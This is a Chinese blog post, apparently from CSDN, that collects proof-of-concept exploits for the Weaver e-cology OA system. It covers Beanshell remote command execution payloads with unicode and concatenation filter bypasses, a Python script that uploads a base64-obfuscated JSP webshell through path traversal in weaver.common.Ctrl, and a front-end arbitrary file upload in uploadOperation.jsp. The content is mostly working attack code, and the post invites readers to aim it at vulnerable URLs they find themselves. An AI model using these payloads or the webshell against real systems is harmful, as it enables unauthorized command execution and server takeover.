【文档留存】泛微OA &&POC

泛微OA &&POC

  • 泛微OA 多版本存在命令执行

POC&EXP来源于网络

漏洞描述:

泛微e-cology OA系统的J**A Beanshell接口可被未授权访问,攻击者调用该Beanshell接口,可构造特定的HTTP请求绕过泛微本身一些安全限制从而达成远程命令执行

cnvd编号:CNVD-2019-32204

影响版本:e-cology <=9.0

漏洞修复:屏蔽/weaver/*目录的访问

漏洞复现:

1.漏洞路径:/weaver/bsh.servlet.BshServlet

 

 

 2.   把print(“hello!”)换成exec(“whoami”),就可以测试能否

执行系统命令了。

Poc1:bsh.script=u0065u0078u0065u0063(“whoami”);&bsh.servlet.output=raw

 如果有全局过滤器过滤了exec或eval,会有报错,

可以采用unicode编码、字符串拼接等方式绕过,见下图:

Poc2: bsh.script=u0065u0078u0065u0063(“whoami”);&bsh.servlet.output=raw

Poc3:bsh.script=eval%00(“ex”%2b”ec(bsh.httpServletRequest.getParameter(”command”) )”);&bsh.servlet.captureOutErr=true&bsh.servlet.output=raw&command=whoami

  • 泛微OA weaver.common.ctrl任意文件上传漏洞

一、漏洞描述

泛微OA weaver.common.Ctrl 存在任意文件上传漏洞,攻击者通过漏洞可以上传webshell文件控制服务器

二、漏洞影响

泛微OA

三、漏洞复现

存在漏洞的路径为

/weaver/weaver.common.Ctrl/.css?arg0=com.cloudstore.api.service.Service_CheckApp&arg1=validateApp

  • 1

使用POC进行文件上传

python poc.py

 

四、漏洞POC

(来源于网络,作者未知)

import zipfileimport randomimport sysimport requests


def generate_random_str(randomlength=16):
    random_str = ''
    base_str = 'ABCDEFGHIGKLMNOPQRSTUVWXYZabcdefghigklmnopqrstuvwxyz0123456789'
    length = len(base_str) - 1
    for i in range(randomlength):
        random_str += base_str[random.randint(0, length)]
    return random_str

mm = generate_random_str(8)

webshell_name1 = mm+'.jsp'
webshell_name2 = '../../../'+webshell_name1
def file_zip():
    shell = """<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="sun.misc.BASE64Decoder" %>
<%
    if(request.getParameter("cmd")!=null){
        BASE64Decoder decoder = new BASE64Decoder();
        Class rt = Class.forName(new String(decoder.decodeBuffer("amF2YS5sYW5nLlJ1bnRpbWU=")));
        Process e = (Process)
                rt.getMethod(new String(decoder.decodeBuffer("ZXhlYw==")), String.class).invoke(rt.getMethod(new
                        String(decoder.decodeBuffer("Z2V0UnVudGltZQ=="))).invoke(null, new
                        Object[]{}), request.getParameter("cmd") );
        java.io.InputStream in = e.getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("</pre>");
    }
%>
    """   ## 替换shell内容
    zf = zipfile.ZipFile(mm+'.zip', mode='w', compression=zipfile.ZIP_DEFLATED)
    zf.writestr(webshell_name2, shell)
def GetShell(urllist):
    file_zip()
    # print('上传文件中')
    urls = urllist + '/weaver/weaver.common.Ctrl/.css?arg0=com.cloudstore.api.service.Service_CheckApp&arg1=validateApp'
    file = [('file1', (mm+'.zip', open(mm + '.zip', 'rb'), 'application/zip'))]
    try:
        requests.post(url=urls,files=file,timeout=60, verify=False)
        GetShellurl = urllist+'/cloudstore/'+webshell_name1
        GetShelllist = requests.get(url = GetShellurl)
        if GetShelllist.status_code == 200:
            print(GetShellurl+"?cmd=whoami")
    except:
        pass

GetShell("自己找的漏洞URL")
  • 泛微OA9前台任意文件上传

漏洞位于: /page/exportImport/uploadOperation.jsp文件中

Jsp流程大概是:判断请求是否是multipart请求,然就没有了,直接上传了,啊哈哈哈哈哈重点关注File file=new File(savepath+filename),Filename参数,是前台可控的,并且没有做任何过滤限制

 

利用非常简单,只要对着127.0.0.1/page/exportImport/uploadOperation.jsp来一个multipartRequest就可以,

然后请求路径:

view-source:http://0.0.0.0:5006/page/exportImport/fileTransfer/1.jsp 

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值